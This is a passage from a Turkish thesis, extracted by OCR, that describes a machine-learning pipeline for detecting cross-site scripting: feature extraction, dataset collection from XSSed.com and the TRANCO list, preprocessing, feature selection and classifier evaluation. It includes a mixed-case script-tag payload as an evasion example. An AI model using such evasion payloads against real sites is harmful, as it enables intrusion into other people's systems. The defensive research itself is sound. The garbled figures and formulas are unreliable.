gelen 6 asamaya boliinmiistiir ve sirasiyla uygulanacaktir.

3.1.1. Faz 1: XSS tespitinde kullanilabilecek 6zelliklerin derlenmesi

Bu asamada, XSS tespitinde kullanilan 6zellikler, 6zelliklerin tiirii ve elde edilen sonuglar
acisindan bir dizi onceki ve ilgili calisma gozden gegcirilmis ve analiz edilmistir. Likarish,
Jung ve Jo (2009) tarafindan yapilan calismada, Nunan ve dig. (2012) tarafindan yapilan
calismada ve Krishnaveni ve Sathiyakumari (2013) tarafindan yapilan c¢alismada, vb.
kullanilan tiim olas1 ozellikler toplanmis ve daha sonra oOzellik ¢ikarma islemi igin
kullamlmak iizere bir metin (TXT) dosyasina konmustur. Onceki bazi calismalar URL
tabanl ozelliklere, bazilar1 icerik tabanli 6zelliklere odaklanmistir ve geri kalanlar ise her
ikisini de kullanmistir, ancak toplanan tiim o6zellikler HTML/JavaScript sema etiketlerine
(icerik tabanli 6zellikler) dayanmaktadir ve bunlar bu projenin kapsamina hizmet eden 50
tekil ozelliktir. Bu 6zellikler ve ozellik ¢ikarma hakkindaki ayrintilar, ilerleyen kisimda veri

on-isleme ve ozellik ¢ikarimu ile ilgili boliimde ele alinmusgtir.

Bu asamanin c¢iktisi, sonraki asamalarda kullanilmaya hazir olan “features.txt” adli bir
TXT dosyasidir. Sekil 3.2, 50 6zelligi ve veri kiimesi ¢ikti dosyasindaki (CSV) etiketleri
basitlestirmek ve standart hale getirmek amaciyla belirlenmis olan FO ila F49 etiketlerini

iceren dosyanin bir ekran goriintiisiinii géstermektedir.
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Tekrarla

igili faz kap

1. Literattirde web sayfalarinin XSS agisindan

2. Literatiirde XSS siniflandirmast igin kullanilan
tim olasi 6zelliklerin toplanmasi ve bu ¢alisma

Faz sonunda elde edilecek ¢iktilar

Rastgele secilmis veri

Gikarilmis ézelliklerin veri seti

Secilmis 6zellikler

8 siniflandiriimasi igin 6zellikleri belireyen/kullanan
galigmalarin taranmasi kapsaminda yeni 6zelliklerin ilave edilmesi
~ L 4. XSS sorunlu clmayan web sayfalarininin HTML
] 3. XSS soruniu web sayfalarinin HTML iceriginin igeriginin toplanmasi veya uygun veri setlerinin
w toplanmas! veya uygun veri setlerinin kullaniimast Kullamimast
N 5. Verilerin 6n-islemeden gecirilmesi (6rn.; biyik-kiigiik 6. 0n-i§llemed.eln gegirilmis verilerin bir sonraki ——
w harf dontistimii, fazla bogluklarin elenmesi gibi) islem igin hazir hale getiriimesi
o . o ) 8. Cikarilan zelliklerin CSV dosyasinin olusturulmasi
o 7. On-iglemeden gegirilmis olan veriden (Terim frekansi CSV dosyasi ve normallestirilmis
ozelliklerin gikariimasi CSV dosyast gibi)
— 0 . . - 10. 1G segim tekniginin gikti dzelliklerinden en iyi
L @ Eliarem Gl Ely) Sz Gzellikleri segmek icin filtreler (8rn.; agifiga gore segim)— —
(IG-Information Gain) uygulanmast e
— N 11. 10 kat gapraz dogrulama ile secilen &zelliklerin 12. Sonuglarin degerlendirilmesi ve sistemin elde ettigi
w siniflandiriciya (SVM NB, GLM, vb.) eklenmesi sonuglari iyilestirmek icin 5. ve 6.fazlarin tekrarlanmasi

Degerlendirme sonuglar

Sekil 3.1: Uygulama Cergevesi
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[ Features bt E3
1 Ozellik kodu Ozellik
2 FO number of & tags
F1 number of AJAX keywords

= Fz number of AUDIC tags

5 F3 number of dangerous HTML methods

& F4 numper of DIV tags

T FS numiper of DCOM-modification keywords

B F& number of doubkle quoted attributes

] F7 number of EMBED tags
10 8 number of event handlers
11 FS number of evil characters_in scripts
12 F1d numper of external iframe sources
13 Fl1 numiper of external script_sSources
14 Fiz number of external URLs referenced within the scripts
15 Fl13 number of FRAME tags
16 Fl4 number of functions_calls made by the scripts
17 F15 number of GET parameters
18 Fle numper of harmful-sensitive keywords
19 F17 numiper of hidden_inputs
20 F1s8 number of HTML comments
21 Fls number of HTML entities
22 F20 number of IFRARME tags
23 Fz21 number of TMG tags
24 F22 numper of inputs
25 F23 numiper_ of malformed-misplaced_ tags
26 F24 number of METL tags
27 F25 number of OBJECT_tags
28 F2e number of POST_ parameters
28 F27 number of remote C55es

F28 numper of scripts

31 Fz2o numiper_ of single gquoted_attributes
32 F30 numiper of SPAN tags
3 F3l number of SVG tags

4 F3z number of unicode characters in scripts
35 F33 number of unquoted attributes

& F34 numper of wvulnerable DOM objects
3T F35 average ASCII_characters_in external domain_ strings
38 F3e duplicated_special_characters
B F37 encoding in scripts
40 F3g existence of HEX walue in "img" tags
41 F39 form get-post_destination domain consistency
42 F40 hash usage_in "img" tags
i F41 http-equiv_attribute_usage
44 F42 img src composed of "xix"
s F43 img src contains _http string
46 Fa4 img src contains https string
=) F45 img src contains www_string
48 F4& is_the_script readable
L F47 length of input_ strings_is limited
50 Fag maximum occurrence of_ domains_found in URLs
51 F49 the code_contains egqualto_after slash character

Sekil 3.2: Ozellikler (features.txt) dosyasinin iceriginin ekran goriintiisii

3.1.2. Faz 2: Veri kitaphginmin olusturulmasi

Calismanin temeli, iki farkli simifin ikili (binary) siniflandirmasiyla ilgilidir: XSS zafiyeti
olan ve XSS zafiyeti olmayan, bu nedenle veri seti, XSS iceren veya icermeyen HTML
web sayfalarindan olusturulmustur. XSS sinifi i¢in XSS web sayfalari, literatiirdeki bazi
calismalarda oldugu gibi XSSed.com web sayfast deposundan alinmistir. XSSed.com,
2007°den beri XSS saldirilarindan etkilenen web sayfalarini toplayan ve arsivleyen,

kullanimu {icretsiz bir ¢evrim i¢i veri tabanidir. XSSed.com literatiirdeki onceki ¢calismalarda
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da kullanilmistir. Zararsiz simif (XSS icermeyen Ornekler) icin, Victor Le Pochat, Tom
Van Goethem, Samaneh Tajalizadehkhoob, Maciej Korczyriski ve Wouter Joosen tarafindan
Alexa, Cisco Umbrella, Majestic ve Quantcast popiilerlik siralamalarindan yola ¢ikarak
olusturulan, siirekli olarak giincelleyerek arastirmacilarin ¢aligmalar1 i¢in bunu bir metin
dosyast olarak sunulan ve bir milyon web sitesinin siralamasi igeren TRANCO listesi
kullanilmistir (Le Pochat ve dig., 2019). Bir Python betigi ile TRANCO listesinden belli
bir sayida alinan URL’lere baglanti saglanabildigi kontrol edildikten sonra, literatiirdeki
calismalarda (Pdez ve Michel, 2020; Fink, 2018) XSS zafiyeti belirleme konusunda basarili
olduklar1 goriillen Vega ve Arachni giivenlik agig1 tarayicit yazilimlari (penetration-test
tool) kullanilarak iyicil (XSS icermeyen) ornekler oldugu dogrulanmis ve veri setine
ilave edilmigstir. Bu asamada toplanan dosyalardan bir kismu1 incelendiginde, kullanilan
betik yardimiyla indirilen baz1 dosyalarin eksik veya calismanin amacina uygun olmadigi
goriilmiistiir. Bu nedenle hem iyicil hem de kotiiciil 6rneklerden boyutu “3Kb” altinda olan

dosyalar manuel olarak elenmis ve 6rneklem setinden c¢ikarilmustir.

Bu fazin ciktisi, rastgele se¢ilmis bir veri veya XSS zafiyeti barindiran ve XSS olmayan
2620 web sayfasini birlestiren bir derlemedir. Sekil 3.3, XSS olan ve XSS olmayan web
sayfalarinin oranin1 gostermektedir. Rastgele secilmis veriler, HTML dosyalarinin govde
metinleri, c¢cikarmak istedigimiz Ozelliklerle ilgili olmayan HTML etiketleri gibi artik
thtiyacimiz olmayan farkli tiirde metinler (giiriiltii verileri) icerdigi anlamina gelir, bu
nedenle simdiye kadar veri kiimesi heniiz olusturulmamustir. Ozellik ¢ikarma asamasinda,
her bir HTML kaynak kod dosyasindan 6zellikler ¢ikarilir ve bunlara kendi degerleri atanir
(orn.; ikili olarak ozellik varsa 1 veya yoksa O gibi), sonra kaynak kodun geri kalani ve

amagclanan ozelliklerle alakasiz icerik yok sayilir.

3.1.3. Faz 3: Veri on-isleme

Veri kitapligin1 olusturduktan sonra, 6zellik ¢ikarmaya hazir hale getirmek icin bir on-isleme
siirecinden gecirmek gereklidir. Gereken ilk 6n-isleme, HTML kaynak kodunun tamamini
kiiciik harfli icerige doniistiirmektir, ¢iinkii bazi saldirilar, XSS’1 karmagik hale getirmek
ve savunma sistemlerini atlatmak i¢in biiyiik ve kii¢iik harflerin karistmini kullanir,
ornegin: <sCrlpT>alert( ‘Yasasin XSS’);</sCrlpT> kiiciikk harf “<script>" tanimlanan
dedektorler, onu farkli bir anahtar kelime olarak kabul edebilir, bu yiizden HTML

dosyasindaki tiim metnin kii¢iik harfe doniistiiriildiigiinden emin olmak gerekir, boylece
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XSS zafiyeti olan ve XSS zafiyeti olmayan sayfalarin orani
(Toplam: 2620 sayfa)

m XS5 zafiyeti olan web sayfalan mXSS olmayan (zararsiz) web sayfalan

Sekil 3.3: XSS olan ve XSS olmayan web sayfalarinin oranini

ozellik cikarici, harflerinin durumuna bakmaksizin bdyle bir 6zelligin tim olugsumlarini
taniyabilir. Biiylik-kiiciik harf donitisiimii, HTML dosyalarimi girdi olarak alan, ¢ikti olarak
tiim dizgenin kiiciik harfe doniistiirtildiigii ve ozellik ¢ikarma fazi icin ¢ikti olarak alindigi

bir Python betigi (onisleme.py) araciligiyla yapilmigtir.

Bu betik ayrica fazla bogluklarin ve basilamayan 6zel karakterlerin (whitespace) elenmesi

icin de kullanilmustir.

Bu fazin ¢iktisi, 6n-islenmis ham veri dosyalaridir ve Faz 1°de iiretilen 6znitelikler dikkate

almarak 6zellik ¢ikarma asamasinda kullanim i¢in hazir hale getirilmiglerdir.

3.1.4. Faz 4: Ozellik cikarma

Bu projede, hangi 6zelliklerin XSS’in tespit edilmesi icin en iyi sekilde kullanilabilecegini
gormek istiyoruz, bu nedenle tiim siniflandirma bir XSS 6zelliginin ne siklikta meydana
geldigine bagh olacaktir. Bu amacla, HTML metninin tamamini simiflandirmak gerekli
olmadigindan ve siniflandirma i¢in sadece veri kiimesindeki dosyalar i¢in ¢ikarilan 6znitelik
frekans1 gerekli oldufundan, tim HTML metnine degil, yalmzca HTML etiketlerine
odaklanmamiz gerektigi anlamina gelir. Bu asamada, 6n-islenmis veri kiimesi ve 6zelliklerin
yer aldigt TXT dosyalar1 dikkate alinarak iki Python betigi (FeatureExtraction.py ve

GenerateCSVFiles.py) araciligiyla bu o6zellikleri veri kiimesi dosyalar1 icinde tek tek
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arayarak asagidaki gibi 4 adet CSV (Virgiille ayrilmis degerler) dosyasi olusturur:

i. binary.csv: bu dosya, yalnizca 6zelligin kitapliktaki s6z konusu HTML’'de olup

olmadigini sdyler. Ozellik varsa “1”, aksi takdirde “0” degeri atanr.
ii. frequency.csv: bu dosya, her 6zelligin HTML dosyasinda kac kez tekrar ettigini icerir.

iii. normalized_frequency.csv: bu dosya, frekans.csv dosyasinin sonug¢larinin “0” ile “1”

arasinda normallestirilmis halini icerir.

iv. term_frequency.csv: bu dosya, terim (6zellik) frekansinin HTML belgesindeki diger
terimlere oranim sdyler. Ornegin, belgede <script> 6zelliginin 10 tekrar1 vardir ve

toplamda 1000 terim vardir, bu nedenle <script> 6gesinin TF’si 10/1000= 0,01 dir.

Bu fazin c¢iktisi, yukarida detaylari agiklanan ve sonraki asamalarda kullanilacak olan 4
dosyadir, her biri ayn1 verinin bir veri seti olarak kabul edilir, ancak c¢ikarilan 6zelliklere

farkli tiirde degerler verilir. Bu dosyalarin 6rnekleri bir sonraki boliimde verilmistir.

CSV formatindaki veri seti dosyasi, satirlar ve siitunlar icerir. Satirlar 2620 adet HTML
dosyasini (1340 XSS zafiyeti olmayan ve 1280 adet XSS zafiyeti iceren) temsil eder, siitunlar
ise 50 ozelligi temsil eder. Ornegin, binary.csv veri seti, 6zelliklerin 2620 adet HTML
dosyasinda var olduklarma (“1” ile gosterilir) veya yok olduklarina (“0” ile gosterilir) ait
degerleri icerir. Dosyada 52 siitun vardir; Ozellikler icin 50 siitun, veri setindeki s6z konusu
web sitesini ayirt etmek lizere tekil bir etiket (Filename) ve sinif i¢in (XSS veya non-XSS)
bir siitun bulunmaktadir, yani 50 6zellik siitunu bu s6z konusu sinif siitunuyla iliskilidir. CSV

dosyasinin bir drnegi Sekil 3.4’te gosterilmisgtir.

3.1.5. Faz 5: Ozellik secimi

Bu fazda, veri seti dosyasi (6rn.; binary.csv), bir veri madenciligi yazilimi olan RapidMiner’a
girilir (¢caligmada 9.10 siirimii kullanilmistir) ve yiiksek performans siniflandirmasi yapan
onemli ozelliklerin secilmesi saglanir. Ozellikleri secmek amaciyla, tiim 6zellikler icin
tiretilen bilgi kazancinin agirliklarin1 olusturmak iizere Bilgi Kazanmimi (IG: Information
Gain) teknigi kullanilmistir, ardindan en iyi ozellikleri se¢mek iizere RapidMiner’da

Agirhga Gore Secim (Select by Weight) operatorii farkli filtrelerle (6rn.; en yiiksek k
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Sekil 3.4: binary.csv dosyasinin ekran goriintiisii (Ornek)

(agirhgr) se¢) kullamlmustir. IG ve ozellik secimi hakkinda daha fazla ayrinti ilerleyen
boliimde agiklanmustir. Sekil 3.5, 6zellik secim agsamasinin is akisini gostermektedir. Ozellik

secim siireci, siniflandirma siirecinden 6nceki 6n-isleme asamasi olarak kabul edilir.

A r Geri alma (Retrieve) Siirece "Bilgi kazanimina gére agirliklandir .
BASLA | RapidMinaggdspan) operatoriin (Weight by Information Gain)" G ot
siirec olustur. 1 o - veri setine bagla.
veri setini siirece aktar. operatériinii ekle.

S En yiiksek agirhga sahip ilk 14'i Siirece "Agirhga Gére Segim
< S;n:c;;a"l‘;gl:‘re\:a segmek igin "Agirliga Gore Segim (Select by Weight)" operat6riini
e A (Select by Weight)" 6gesini degistir. ekle ve IG operatdriine baglanti ver.

Sekil 3.5: Ozellik Secimi Siire¢ Akis1

3.1.6. Faz 6: Veri siniflandirma ve sonu¢ degerlendirme

Bu agsamada, tiim veri setini XSS veya non-XSS olarak simiflandirmak icin 5. fazda secilen
oznitelikler kullanilir. Projede siniflandirma iglemi icin literatiirde bu ¢alismada da ele alinan
ikili simiflandirma igin basarili olarak degerlendirilen DVM (Destek Vektor Makinalar),
NB (Naif Bayes), GDM (Genellestirilmis Dogrusal Model) yontemleri kullanilmigtir.
Siniflandirma, veri setini her iki sinifin 10 katina (her sinifin %10’luk boliimleri) bolen 10
kath capraz dogrulama kullanilarak yapilir; burada 9 kati e8itim icin ve 10. kati test i¢in
kullanilir, bu islem 10 kez tekrarlanir, boylece tiim katlar siirecten egitim ve test katlari
olarak gecer. Kullanilan ii¢ farkli algoritmanin degerlendirme sonuglari, dogruluk orani ve
geri ¢cagirma i¢in sunulmustur. Faz 5’te 6zellik se¢imi i¢in daha iyi bir filtre segmek amaciyla
bir¢cok deneme i¢in Faz 5 ve 6 tekrarlanir, ardindan Faz 6’da siniflandirma tekrar calistirilir

ve sonuclar Onceki denemelerle karsilagtirilir. Smiflandirma algoritmalari, performans
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Olctimleri ve deneyler hakkinda daha fazla ayrinti ilerleyen bdliimlerde agiklanmistir.

Sekil 3.6, siniflandirma siirecinin is akisini gostermektedir.

BASLA . idMiner'da yeni DG;Z'EIFE;éRe‘riSVS) Ozellik secimi uygula Capraz dogrulama (CV-
siire¢ olustur. para e ($ekil 3.5%e bakiniz). Cross Validation) operatérii ekle.
veri setini siirece aktar.

CV siireci
1. CV siirecine girin.
2. CV'nin egitim ve test olmak lizere
iki béliimii vardir. Egitimde, 9 kat
uzerinde egitmek ve egitilmis bir
model olusturmak icin DVM gibi bir
Siireci calistir ve flandirma algoritmasi ekleyin. CV operatorii egitim ve test
sonucu kaydet. 3. Test tarfina, son 2 kattaki egitilen katlarnimi degistirin (9'a 1)
modeli test edecek olan "Modele
Uygula (Apply Model)" kismini ekleyin.
4. "Siniflandirma Performansi
(Classification Performance)”
operatdriinii girin ve dogruluk orani
gibi performans olgiitlerini segin.

:

Sekil 3.6: Siniflandirma Siire¢ Akisi

Siiflandirma denemeleri, bu veri kiimelerinin performansim ve ikili veriler (“1” ve “07)
veya terim frekans verileri gibi farkl tiir veriler tizerinde kullanildiginda her bir algoritmanin
nasil bir performans gosterdigini karsilagtirmak amaciyla ayni algoritma ve teknik ayarlarina

sahip ii¢ veri seti (Faz 4’te olusturulan CSV dosyalar) lizerinde gerceklestirilmistir.

Bu fazin ciktisi, en iyi performansi elde etmek i¢in 6zellik se¢im filtrelerine dayanan cesitli

denemelerin performans sonuglaridir.

Literatiirdeki siniflandirma c¢aligmalarinda kullanilan performans Olciitleri sunlardir:
Dogruluk Orani (Accuracy Rate), Geri Cagirma (Recall), Hassasiyet (Precision), Cohen’s
Kappa, F Puan1 (F Score) ve Matthews Korelasyon Katsayis1 (MCC).

Dogruluk, performansi 6l¢mek icin énemli kriterlerden biridir, siniflayicinin dogru tahmin

etme sikliZinin bir dl¢iisiidiir.

Geri Cagirma, dogru simniflandirilan pozitif Orneklerin sayisinin veri setindeki pozitif

orneklerin sayisina boliimiidiir (Sokolova ve Lapalme, 2009).

Hassasiyet, tiim siniflardan ne kadar dogru tahmin edildiginin bir 6lciisii olup miimkiin

oldugunca yiiksek olmasi istenir.

Cohen’s Kappa, smniflandiricinin gergcekte ne kadar iyi bir performans gosterdiginin
Olciisiidiir. Cohen’s Kappa sadece iki siniflandirici oldugunda karsilastirma yapmaya yarar,

basarili bir model i¢in degerin yiiksek (1’e yakin) olmasi beklenir.
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F Puani, gercek pozitif degerlerin oraninin (yani Geri Cagirma) ile hassasiyetin harmonik
ortalamasidir. Siniflandiricinin ne kadar iyi performans gosterdiginin bir Olgiisii olup

siniflandiricilan karsilastirmakta siklikla kullanilmaktadir.

Matthews Korelasyon Katsayist (MCC: Matthews Correlation Coefficient), popiiler
metrikler dengesiz dagilan veri setleri i¢in tam sonu¢ vermediginden performans Ol¢iimil

i¢cin bu metrik kullanilabilir. Model basarimi i¢in degerin 1’e yaklagsmasi beklenir.

Dogruluk Orani, Geri Cagirma, Hassasiyet, Cohen’s Kappa, F Puan1 ve MCC formiilleri
asagidaki gibidir:

o _ TP+TN
Dogruluk Oran= 7p 7y rrprrn

. _ TP
Geri Cagirma= TPLEN
. . TP
Hassasiyet= 7555 7P

2x(TPXTN—FNxFP)
TP+FP)x(FP+TN)+(TP+FN)x(FN+TN)

Cohen’s Kappa= i

_ 2xTP
F Puani= yo7p pprFN
MCC— TPXxTN—FPxFN

\/(TP+FP)(TP+FN)(TN+FP)(TN+FN)

Burada;

TP= True Positive (Gercek Pozitifler): Dogru bir sekilde, veri setinde kotii amacl olarak

(XSS zafiyeti iceren) tanimlanan ve kotiiciil olarak tespit edilen ornekleri gosterir.

TN= True Negative (Gercek Negatifler): Dogru bir sekilde, veri setinde zararsiz (non-XSS)

sekilde tanimlanan ve zararsiz olarak tespit edilen 6rnekleri gosterir.

FP= False Positive (Yanhs Pozitifler): Hatal1 sekilde veri setinde zararsiz olarak belirtilen

ornekler, kotiiciil (XSS zafiyeti icerir) olarak tespit edildi.

FN= False Negatif (Yanhs Negatifler): Hatal1 sekilde veri setinde zararl olarak belirtilen

ornekler, zararsiz (non-XSS) olarak tespit edildi.

Veri 6n-igleme; biiyiik-kiiciik harf doniisiimii, bosluklar1 eleme, siklik normallestirme ve veri

dosyalarindan 6znitelikler ¢ikarmak amaciyla Python programlama dili ile yazilmis betikler
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kullanilmus, iiretilen sonuglar CSV formatindaki dosyalara kaydedilmistir.

Ozellik se¢imi, siniflandirma ve performans degerlendirmesi icin makine 6grenimi, veri
madenciligi, metin madenciligi, tahmine dayali analitik ve is analitigi gorevleri i¢in

gelistirilmis acik kaynakl bir yazilim olan RapidMiner Studio 9.10 kullanilmustir.

Uygulamanin metodolojisi, yukarida kisaca agiklanan 6 asamadan olusmaktadir. Bu
asamalar, verileri toplayarak bir veri seti olusturma, o6zellik cikarma ve se¢me,
siniflandirma ve degerlendirme gibi siniflandirma ile ilgili gorevler iizerinde calisilacak
bir ¢cerceve olusturmaktadir. Faz 1’den 4’e kadar olan siire¢, bu projenin ilk amaci olan
verileri, ozellikleri, veri on-iglemeyi ve On-iglenmis ham verilerden ozellikleri ¢ikarmay1
gerceklestirir. Faz 5, en 6nemli Ozellikleri se¢gmek icin 0zellik secimi olan ikinci amaca
ulagsmak i¢in yiiriitiiliir. Son olarak, Faz 5’te secilen Ozellikleri kullanarak veri kiimesi
izerinde smniflandirma uygulayan ve daha sonra kullamlan NB, DVM ve GDM olan

siniflandiricilarin performansini degerlendiren 6. fazdir.

3.2. VERI ON-ISLEME VE OZELLIK CIKARMA

Bu boliim, calismada kullanilan veri setinden bahseder. Oncelikle verilerin nereden ve
nasil toplandigi/elde edildigi agiklanir. Bir sonraki adim, ¢alismada kullanilacak verilerin
on-iglenmesidir. Veriler on-igleme tabi tutulduktan ve hazirlandiktan sonra, bu asamanin
son adimi, literatiir taramasi ile onceki ¢alismalardan derlenen ve bu ¢alisma kapsaminda

belirlenen tiim olas1 6zellikleri ¢ikarmaktir.

3.2.1. Veri seti

Bu calisma, temel olarak ikili siniflandirma (binary classification) olarak adlandirilan bir
siniflandirma kategorisine girer. Oracle (2019)’a gore ikili siniflandirma, hedef 6zniteligin
yalnizca iki sinifa sahip oldugu (6rn.; yiiksek ve diisiik, hasta ve hasta degil, 1 ve 0
gibi) verileri siniflandirma gorevidir. Bu ¢alismada da iki farkli sinif s6z konusudur; XSS
zafiyeti iceren (kotli amacli) ve XSS olmayan (zararsiz). Verilerin dogal hali HTML kaynak
dosyalaridir. HTML dosyalar1 yalmizca HTML kodunu degil, JavaScript, CSS ve diger olasi
kod tiirlerini de igerir. Kotiiciil yani XSS zafiyeti iceren sinif icin, onceki caligsmalarda

(Krishnaveni ve Sathiyakumari, 2013; Likarish, Jung ve. Jo, 2009; Nunan ve dig., 2012) da
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kaynak olarak kullanilan XSSed.com’dan 1.280 web sayfasi toplanmigtir. XSS icermeyen
(zararsiz) smif icin, TRANCO listesindeki URL’lerden faydalanarak 1.340 web sayfasi
toplanmigstir. Sekil 3.3, veri kiimesindeki kotii amagli (XSS) web sayfalarinin zararsiz

(non-XSS) web sayfalarina oranini gdstermektedir.

3.2.2. Veri toplama

Kotii amagh (XSS zafiyeti barindiran) web sayfalarin1 (HTML kaynak dosyalari) toplama
adimlar1 agsagidaki gibidir:

a. Bir web tarayicis1 (6rn. Google Chrome) aracilifiyla http://www.xssed. com adresi

istenir.

b. 2007°den beri XSS zafiyeti olan web sayfalarindan olusturulmug bir depo olan XSS

Arsivi’ne (xssed.com/archive) girilir.

c. Listelenen XSS web sayfalarindan, o web sayfasinin bir kopyasini1 almak icin her bir

yansi (mirror) baglantisina tiklanir.

d. Yans: sayfalarindan, “Yansiy1 goriintillemek i¢in buraya tiklaym (Click here to view

the mirror)” baglantisindan baglant1 adresi (URL) kopyalanir.
e. Baglanti adresleri bir metin (TXT) dosyasina yapistirilarak toplanir.

f. Arsiv sayfasina geri doniiliip, belirlenen sayida URL toplayana kadar c ile e

basamaklar1 arasindaki adimlar tekrarlanir.
g. Toplanan URL’ler ile olusturulan metin dosyas1 XSS_URLs.txt adiyla kaydedilir.
h. Metin dosyasindaki URL’lerin tamami1 kopyalanir.

i. IDM (Internet Download Manager)!® veya benzeri bir ara¢ kullamlarak Dosya

meniisiinden toplu indirme ekle’yi secip panoya kopyalanmis URL’ler yapistirilir.

J- Yapistirilan URL’lere karsilik gelen, belli sayidaki HTML dosyasinin tiimii bu arag

yardimu ile indirilir.

10 hitps://www.internetdownloadmanager.com/
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Yukaridaki adimlar, XSSed.com bu web sayfalarinin tek kaynagi oldugundan ve kullanima
hazir bir veri seti saglamadigindan, kotii amaghi XSS URL’leri toplama isleminin tek tek

yapilmasi1 gerekiyordu.

Yukarida adim adim manuel olarak nasil yapilacagi anlatilan islemler icin bu calisma

kapsaminda, yazilan bir Python betigi (xssed.py) kullanilmistir.

Zararsiz (XSS zafiyeti olmayan) web sayfalarini toplama adimlari ise asagidaki gibidir:

o

. https://tranco-1list.eu/ adresine bir web tarayicist (6rn.; Google Chrome)

tizerinden erisilir.

b. En ¢ok ziyaret alan (en popiiler) bir milyon web sayfasi adresini barindiran TRANCO
listesi indirilir.
c. TRANCO listesinden istenen sayida domain iceren rastgele bir aralik belirlenir.

d. Belirlenen araliktaki domainlere ait ana URL’ler bir web tarayici (6rn.; Google

Chrome) ile kontrol edilip agilip-acilmadig: teyit edilir.

e. Erisim oldugu teyit edilen sayfalar Vega ve Arachni giivenlik zafiyeti tarama araglari

ile taranarak XSS zafiyeti barindirmadiklar1 dogrulanir.

f. Belirlenen sayida tekil iyicil URL elde edilene kadar ¢ ve e arasindaki adimlar

tekrarlanir.

g. Tim URL’ler kopyalanir ve IDM veya benzeri bir aracla toplu indirme islevine
yapistirilir (daha 6nce XSS web sayfalar1 toplama isleminde aciklanmigst) ve tim

URL’lerin HTML kaynak sayfalarini indirme iglemi baglatilir.

Yukarida adim adim manuel olarak nasil yapilacagi anlatilan islemler i¢in bu caligma

kapsaminda, yazilan bir Python betigi (nonxss.py) kullanilmisgtir.

Yukarida anlatilan islemler tamamlandiginda, tim HTML dosyalari, “xss” ve “non-xss” adli

iki alt klasor iceren bir “dataset” klasoriine konulmustur.
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3.2.3. Veri dogrulama

Bu calisma kapsaminda da kotii amacli web sayfalari i¢in kaynak olarak kullanilan
XSSed.com, 2007°den beri XSS saldirilarindan etkilenen web sayfalarim toplayan bir
depodur. Bir sayfanin XSS zafiyeti icerdigi bildirildiginde, gelecekte arastirma amaciyla
kullanilabilecek sekilde yansisi1 alinir ve XSSed.com veri tabani sunucusunda saklanir. Bu
nedenle, toplanan 1.280 web sayfasinin tamaminin eksiksiz bir HTML kod bloguna sahip
oldugunu ve 1.280 URL’nin tiimii bu sayfalari indirmek i¢in kullanildigindan kétiiciil olarak
tanimlandigin1 sdylemek yanlis olmayacaktir. S6z konusu web sayfalar1 toplanmis ve her
biri, XSSed.com’un o sayfanin sahip oldugunu iddia ettigi saldirtyr dogrulamak i¢in test

edilmistir.

XSS barindirmayan zararsiz (iyicil) web sayfalar1 icin TRANCO listesi baz alinarak tekil
1.340 URL taranmistir. Bu URL’ler, 404 (web sayfasi, web sunucusunda olmadiginda
kullanilan bir hata geri bildirim kodu) gibi bir hata olmadan web sayfasinin var oldugunu
dogrulamak, web sayfasinin XSS acisindan giivenli oldugunu ve XSS saldir1 desenleri

1 12

icermedigini dogrulamak icin Vegall ile Arachni'® yazilimlarina (giivenlik agig1 tarayic

yazilimlar1) girdi olarak verilmistir.

3.2.4. Veri on-isleme

Bu calismadaki denemeler i¢in iki veri On-isleme siireci uygulanmustir:

i. Biiyiik-kiiciik Harf Doniisiimii: Veri setini olusturan HTML kodlarmin kiigiik harfe

doniistiiriilmesini igerir.

ii. Frekans Normalizasyonu: Min-max normallestirme teknigini kullanarak tekrar siklik
degerlerini kiiciik bir araliga (“0” ila “1”’) normallestirir. Tablo 3.1, normalizasyondan

onceki ve sonraki verilerden bir 6rnek sunmaktadir.

1 hitps://subgraph.com/vega/index.en.html
12 hitps://www.arachni-scanner.com/
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3.2.4.1. Biiyiik-kiiciik Harf Doniisiimii

Bu calisma kapsaminda, 6zellik ¢ikarma iglemini uygularken herhangi bir sorun yagamamak
icin tim HTML kod dosyalariin harflerini kiigiik harfe doniistiirmek ve ilave bogluklari
silmek amaciyla Python programlama dili ile basit bir betik gelistirilip kullanilmistir. Bazi
ozellikler (6znitelikler), saldirganlar tarafindan XSS tespitini giiclestirmek veya saldir1 tespit
sistemlerini atlatmak amaciyla biiyiik ve kii¢iik harf karigik olusturulmustur, bu nedenle bu
ozelliklerin toplanmasini basitlestirmek icin tiim kod kiigiik harfe doniistiiriiliir ve boylece
<sCrlpT> ve <script> gibi bir 0zellik ayn1 sey oldugu i¢in tekil bir 6zellik olarak kabul
edilir. Saldirganlar, sadece XSS saldirilar i¢in degil bagka saldiri tiirlerinde de saldir tespit
dedektorlerini atlatmak i¢in biiyiik-kiiciik harf karisik kullanarak veya karmagiklastirma

(obfuscation) yontemlerini kullanarak saldiri modellerini manipiile ederler.

Bagka bir 6n-isleme gorevi, serilestirilmis bir araliktaki dosyalar1 aramak i¢in bir yineleme
islemi baglatirken tiim dosyalart serilestirilmis bir sekilde yalnizca kodlama islemine gore
yeniden adlandirmaktir. XSS zafiyeti barindiran kétiiciil web sayfalart M<id>.html seklinde
yeniden adlandirilmistir. Aynisi zararsiz, iyicil yani non-XSS web sayfalarina da yapilmas,

dosyalar B<id>.html biciminde adlandirilmigtir.

3.2.4.2. Frekans Normalizasyonu

Bir 0zelligi verilerden ¢ikarirken, sikligini (her HTML dosyasinda ka¢ kez tekrar ettigini)
bilmek isteriz. Bir ozellikten digerine, tekrarlar farklidir, 6rnegin bir 6zellik 100 kez yer
aliyorken digeri yalnmzca tek bir kez gerceklesir (1 tekrar) veya hi¢ bulunmaz (0 tekrar),
bu nedenle 100, 1 ve O tanimsiz araliktaki rakamlardir, bu nedenle asagidaki min-max
formiiliinii kullanarak 1’den O’a kadar standart bir aralikta tiim verileri normallestirmek

gerekir:

g (v —minyg) " (maxff”i

(max, —ming) — mimy™) + minmy™ (3.1)
a a

a

3.2.5. Ozellik cikarma siireci

Tablo 3.2°de listelenen Oznitelikler ve veri seti dosyalari, bu amagcla olusturulan

Python temelli Oznitelik ¢ikarma betigine girdi olarak verilir. Cikarillan oOznitelikler,
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Tablo 3.1: Ozelliklerin frekanslarinin normalizasyonu (Ornek)

Normalizasyon oncesi Normalizasyon sonrasi
Dosya id ozellikler ozellikler
FO F1 F2 F3 F4 FO F1 F2 F3 F4

Bl.html 76 410 48 26 390 | 0,0739 0,0548 0,0300 0,0340 0,0451
B2.html 73 598 191 17 947 | 0,0710 0,0799 0,1195 0,0223 0,1097
B3.html 67 204 65 10 367 | 0,0652 0,0273 0,0407 0,0131 0,0424
B4.html 30 217 13 47 302 0,0292 0,0290 0,0081 0,0615 0,0349
BS.html 77 110 33 56 328 | 0,0749 0,0147 0,0207 0,0733 0,0379

